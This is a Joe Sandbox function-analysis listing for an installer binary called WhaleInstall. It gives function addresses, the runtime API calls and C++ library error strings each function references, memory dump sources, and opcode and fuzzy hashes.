API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: 0b379d2c413ee51486cb5163332b2d6a3bf5746bf1e8ea4b776734b896759fa3
Instruction ID: e35405b7fad14bc6faab571800a211b7b7c313729ff5a0e254600b2c9e8699bf
Opcode Fuzzy Hash: 0b379d2c413ee51486cb5163332b2d6a3bf5746bf1e8ea4b776734b896759fa3
Instruction Fuzzy Hash: 7231C273E3C68685E715BF2594007F8A241EF15B4CF994031CE6D0669ADFBCA445C734

Function 00007FF772B0D9F0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772B0DA81
memcpy.MSVCRT ref: 00007FF772B0DAA3

Strings

basic_ios::clear, xrefs: 00007FF772B0D9F0
basic_string::_M_replace, xrefs: 00007FF772B0DB2C

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID: basic_ios::clear$basic_string::_M_replace
API String ID: 3510742995-1781676995
Opcode ID: e585246db2a33962248bbf63dd1f82fc3b17f8151a6b0ba417a0ad742a04cdbd
Instruction ID: af4858fbbbd5e16b08d9c129b8dbbeacf5a58c86f7fea5930fbd8803154d6844
Opcode Fuzzy Hash: e585246db2a33962248bbf63dd1f82fc3b17f8151a6b0ba417a0ad742a04cdbd
Instruction Fuzzy Hash: 6931E323B3C69745EA227B269400A7CA740EB41BE4FD44231DE3D07BE5EEACD142CB24

Function 00007FF772B0E5C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772B0E604
memcpy.MSVCRT ref: 00007FF772B0E62C

Strings

basic_ios::clear, xrefs: 00007FF772B0E5C4

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID: basic_ios::clear
API String ID: 3510742995-82543608
Opcode ID: fd840aa0748cfec7ff28376dad31e685788a24dde03045fc63b15def8449d8df
Instruction ID: 8fafe0947057d61db03c86697ca710c837e2ae8e413f94b8368f64f3394b0f5b
Opcode Fuzzy Hash: fd840aa0748cfec7ff28376dad31e685788a24dde03045fc63b15def8449d8df
Instruction Fuzzy Hash: 59312413F3E1D949EA72BDE1A5008B9AA156B167C4ECC4431CE6D0B797ED9CE482DB30

Function 00007FF772A92BD0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A92BF0
strlen.MSVCRT ref: 00007FF772A92C40

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772A92C0E, 00007FF772A92C5E, 00007FF772A92CAE

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid
API String ID: 39653677-2991274800
Opcode ID: 9ca7e289063a41facea9f3df872b06b074906c0c555fe45a66e9b2f86c1191bc
Instruction ID: c16af2154977cdb61fbd73db6fec536216de3174c25033a901ff839faa8d303d
Opcode Fuzzy Hash: 9ca7e289063a41facea9f3df872b06b074906c0c555fe45a66e9b2f86c1191bc
Instruction Fuzzy Hash: 13219563B39B1551DE15BB1AE8404E9A310FB48F80BDA4832DE1C17772EE6CE947C720

Function 00007FF772A7D7E0 Relevance: 6.1, APIs: 4, Instructions: 94timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF772A7D825
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF772A7D887
_errno.MSVCRT ref: 00007FF772A7D8E1
_errno.MSVCRT ref: 00007FF772A7D912

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Time$FileSystem_errno
String ID:
API String ID: 3586254970-0
Opcode ID: e22d0b7d1c1b62ec18a8a3657d62b568b4a89712830202076bc20fa7f9023922
Instruction ID: 3df4d4d99da9cb4910fbc42383015788b7deeda52b61069ce69d64dcdb586cce
Opcode Fuzzy Hash: e22d0b7d1c1b62ec18a8a3657d62b568b4a89712830202076bc20fa7f9023922
Instruction Fuzzy Hash: 4F310673B35B4686EB50BB259800529E261AB84FD4F55C031DE2D47BA8EF6CE801CA24

Function 00007FF772A78080 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF772A780DA
MultiByteToWideChar.KERNEL32 ref: 00007FF772A7811A

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: eeaa407d0175219732a4516e8c16be5938e76ceb3dfcb7db0e664eda76f32ce8
Instruction ID: 99dfed91636c7ebe18a37e2200953957c06a7774a6d8f380720cef9a7f3a25e1
Opcode Fuzzy Hash: eeaa407d0175219732a4516e8c16be5938e76ceb3dfcb7db0e664eda76f32ce8
Instruction Fuzzy Hash: AC31B67362C2818AE360AF24E800B69B790FB95784F888135DEA847B95DFBDD449DF14

Function 00007FF772B2CCC0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772B2CCEE
memcpy.MSVCRT ref: 00007FF772B2CD66

Strings

basic_string::_S_construct null not valid, xrefs: 00007FF772B2CD9F
basic_ios::clear, xrefs: 00007FF772B2CCC4

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_ios::clear$basic_string::_S_construct null not valid
API String ID: 3412268980-3371637893
Opcode ID: ae2bc96304f5e1a5315f4b198d71948f05561d52153208a07d47d9a017961ec9
Instruction ID: 7948313d97aed0e396b264fab928730dbd9c657dce1e7ed50a07993e2c71f131
Opcode Fuzzy Hash: ae2bc96304f5e1a5315f4b198d71948f05561d52153208a07d47d9a017961ec9
Instruction Fuzzy Hash: FF212B23A3D78240EB11FB299440179A790EB447D0F954131EE7E477A6FEBCD501CB90

Function 00007FF772A86480 Relevance: 6.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A864A9
memcpy.MSVCRT ref: 00007FF772A864C6
setlocale.MSVCRT ref: 00007FF772A864D1
setlocale.MSVCRT ref: 00007FF772A864F4

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 9c10d10d565ed8f47f54f7896470178fd198150cd89463268cdf332369dff098
Instruction ID: fba0be05c8e34f04e2816b9f41995c0318141ee0cc0fa91c56c3c98c649472e4
Opcode Fuzzy Hash: 9c10d10d565ed8f47f54f7896470178fd198150cd89463268cdf332369dff098
Instruction Fuzzy Hash: 7901B153B3915118EA19B6632C059BA82426F49FC4E898035AE2D4B787EC78D0029714

Function 00007FF772AE7260 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00007FF772AE726B
strlen.MSVCRT ref: 00007FF772AE7276
memcpy.MSVCRT ref: 00007FF772AE729F
setlocale.MSVCRT ref: 00007FF772AE72AD

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: b0ab201c541aa40ef61c5edd099735f42600b22f3b3c29ce9c08832358979252
Instruction ID: 1cd36c84033879033bda82178d2b4b6584f00527b7db462f76d00d1a8ba165e1
Opcode Fuzzy Hash: b0ab201c541aa40ef61c5edd099735f42600b22f3b3c29ce9c08832358979252
Instruction Fuzzy Hash: 44F08C52F3D20204FF18B76629024BA82939F88BC0F858435ED2D0B786FDACE042CB20

Function 00007FF772B084F0 Relevance: 5.4, APIs: 4, Instructions: 367stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF772B08569
wcslen.MSVCRT ref: 00007FF772B08604
wcslen.MSVCRT ref: 00007FF772B0869B
strlen.MSVCRT ref: 00007FF772B08731

Part of subcall function 00007FF772A84520: memcpy.MSVCRT ref: 00007FF772A84555

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: wcslen$memcpystrlen
String ID:
API String ID: 3111578849-0
Opcode ID: 5619d0b680a782526ce84c431711628445b815128ca06d848ed9d235485a07ea
Instruction ID: 2e4106e1d6595bc4c941a1db5784234038c2669748bcfe6b3528f383a66c1883
Opcode Fuzzy Hash: 5619d0b680a782526ce84c431711628445b815128ca06d848ed9d235485a07ea
Instruction Fuzzy Hash: 81F18423A38B4681DE61EB59E44056DE361FB84BA0F814132DE7D47BA5EFBCD501CB10

Function 00007FF772B07C80 Relevance: 5.4, APIs: 4, Instructions: 367stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF772B07CF9
wcslen.MSVCRT ref: 00007FF772B07D94
wcslen.MSVCRT ref: 00007FF772B07E2B
strlen.MSVCRT ref: 00007FF772B07EC1

Part of subcall function 00007FF772A84520: memcpy.MSVCRT ref: 00007FF772A84555

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: wcslen$memcpystrlen
String ID:
API String ID: 3111578849-0
Opcode ID: 83801eefd645a9afca39c1d36fa9843b8a6c6232b3ee66d491dbeb77f40c6deb
Instruction ID: a35d75542d0c9534a062d5c0b586b9e2fd4db572c85a0d61ec31fd3a5146568b
Opcode Fuzzy Hash: 83801eefd645a9afca39c1d36fa9843b8a6c6232b3ee66d491dbeb77f40c6deb
Instruction Fuzzy Hash: 76F17063639B4681DE21AB59E44057DE361FB88BE0F814232EE6D477A5EFBCD540CB10

Function 00007FF772B074A0 Relevance: 5.3, APIs: 4, Instructions: 337stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772B07519

Part of subcall function 00007FF772A84520: memcpy.MSVCRT ref: 00007FF772A84555

strlen.MSVCRT ref: 00007FF772B075A0
strlen.MSVCRT ref: 00007FF772B07622
strlen.MSVCRT ref: 00007FF772B076A4

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: c30cbabf6f567d2323563b0107130e348bec17ef6c2061975271339e2d035ea8
Instruction ID: 4cccc5f51d93074b14015d151c85fbb9962358456e86246635494edd77e2769c
Opcode Fuzzy Hash: c30cbabf6f567d2323563b0107130e348bec17ef6c2061975271339e2d035ea8
Instruction Fuzzy Hash: 8BE18163A38B4681DA61EB5AE44067DE361FB84BD0F854132DE6D477A5EFBCE400DB20

Function 00007FF772B06CC0 Relevance: 5.3, APIs: 4, Instructions: 337stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772B06D39

Part of subcall function 00007FF772A84520: memcpy.MSVCRT ref: 00007FF772A84555

strlen.MSVCRT ref: 00007FF772B06DC0
strlen.MSVCRT ref: 00007FF772B06E42
strlen.MSVCRT ref: 00007FF772B06EC4

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: a9db8b7f3108d1fd4d8d20b49c3c7e4a94184e188fce529ca8146fb7e41c5746
Instruction ID: 6556c34d987deaa1bbc4d2dfc8b2c1076b17989cb40a60e0cc17a693b9451136
Opcode Fuzzy Hash: a9db8b7f3108d1fd4d8d20b49c3c7e4a94184e188fce529ca8146fb7e41c5746
Instruction Fuzzy Hash: 1DE17163638B4685DA21EB1AE44067DE361FB48BD4F854136EE6D477A9EFBCE400CB10

Function 00007FF772A82D40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF772A82D8C
LocalFree.KERNEL32 ref: 00007FF772A82DC4

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772A82E41

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: basic_string: construction from null is not valid
API String ID: 1427518018-2991274800
Opcode ID: 9495aa5127606f438951bcf2de83176dcc8c69e5f9c4297d7a68fbdceec759b5
Instruction ID: 166c2bb29f3acf43055270d3545651991da6947f141a344bb2a4d65650da41b2
Opcode Fuzzy Hash: 9495aa5127606f438951bcf2de83176dcc8c69e5f9c4297d7a68fbdceec759b5
Instruction Fuzzy Hash: 19319333A38B8282EB61AB25E44067AB7A0EB44BC4FC44132DE5D477A5EF7CE445CB50

Function 00007FF772AFC560 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_read.MSVCRT ref: 00007FF772AFC5DA

Strings

random_device could not be read, xrefs: 00007FF772AFC628

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: _read
String ID: random_device could not be read
API String ID: 3312595324-883157155
Opcode ID: 70dc046d39f3b57131059da07ac855d014c081715f4495f0518352ed81e57d15
Instruction ID: 1bdb129b6a952fd9f6db3e24fd0e132bd80fb1284cf20e40d52f56f017e488b0
Opcode Fuzzy Hash: 70dc046d39f3b57131059da07ac855d014c081715f4495f0518352ed81e57d15
Instruction Fuzzy Hash: B511D72373D58585EB51EB16E840879A7A0FB487A8F855532DE2C437A4EE7CE481CF20

Function 00007FF772A7A710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A7A7C8

Strings

%p not found?!?!, xrefs: 00007FF772A7A7BE

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: %p not found?!?!
API String ID: 383729395-11085004
Opcode ID: ec22371f5d6a77f02b5f8d24f53421b9ce5577db90816c35579d9166f30adbf8
Instruction ID: eab4947bdffc3532b5faa9e35e3a8c0623cd7fce1b020c05f2ae63e967ab1bf9
Opcode Fuzzy Hash: ec22371f5d6a77f02b5f8d24f53421b9ce5577db90816c35579d9166f30adbf8
Instruction Fuzzy Hash: 8A118423F7D602D1FB257B159551978D2A0AF44BC4F894434CD2D06796EEFCA481CB64

Function 00007FF772A6D8C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

